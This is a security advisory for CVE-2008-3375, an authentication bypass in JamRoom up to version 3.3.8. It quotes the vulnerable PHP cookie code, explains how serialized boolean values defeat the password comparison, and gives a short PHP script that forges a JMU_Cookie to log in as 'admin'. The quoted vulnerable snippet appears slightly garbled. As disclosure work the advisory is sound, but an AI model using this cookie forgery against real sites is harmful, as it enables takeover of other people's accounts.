JamRoom Authentication Bypass
Vendor: Talldude Networks, LLC
Product: JamRoom
Version: <= 3.3.8
Website: http://www.jamroom.net/
BID: 30406
CVE: CVE-2008-3375
OSVDB: 47268
SECUNIA: 31249
Jamroom is a popular online social media cms used to host artist sites and create music communities. It is vulnerable to a flaw in datatype comparison that allows for an attacker to bypass the authentication process completely and gain access to any account with only a username. This vulnerability has been patched in the latest version of JamRoom and all users are encouraged to upgrade as soon as possible.

Authentication Bypass
There is a serious flaw in the Jamroom authentication mechanism that allows for an attacker to completely bypass the authentication process with a specially crafted cookie. The vulnerable code in question can be found in /includes/jamroom-misc.inc.php @ lines 3667-3681 within the jrCookie() function

list($user,$hash) = unserialize(stripslashes($_val));
$user = trim(genc('get',$user));
$req = "SELECT user_nickname, user_password
FROM {$jamroom_db['user']}
WHERE user_nickname = '". dbEscapeString($user) ."'
$_rt = dbQuery($req,'SINGLE');
if (strlen($_rt['user_password']) === 0) {
if (md5($_rt['user_password'] . $sect) == $hash) {

The problem with the above code is that $_val is a user supplied value taken from $_COOKIE['JMU_Cookie']. Since the cookie data is serialized an attacker can specify data types such as boolean values, and bypass the password check, and authenticate with only a username. If the first byte of the password hash stored in the database is numerical then a boolean value of true can be used in place of an actual password, and if the first byte is a letter then a boolean value of false is required.

$data = array();
$user = 'admin'; // Target

$data[0] = base64_encode(serialize($user));
$data[1] = (bool)0;
echo "\n\n===[ 0 ] ========================\n\n";
echo 'Cookie: JMU_Cookie=' . urlencode(serialize($data));
$data[1] = (bool)1;
echo "\n\n===[ 1 ] ========================\n\n";
echo 'Cookie: JMU_Cookie=' . urlencode(serialize($data));

The above script is an example of how this works, and will create a cookie to login as the user admin. For more information check out the comparison operators section of the php manual. Specifically the "identical" operator.

The JamRoom developers were very prompt in addressing this issue, and have released an updated version for download. All users are encouraged to upgrade their JamRoom installation as soon as possible.

James Bercegay of the GulfTech Security Research Team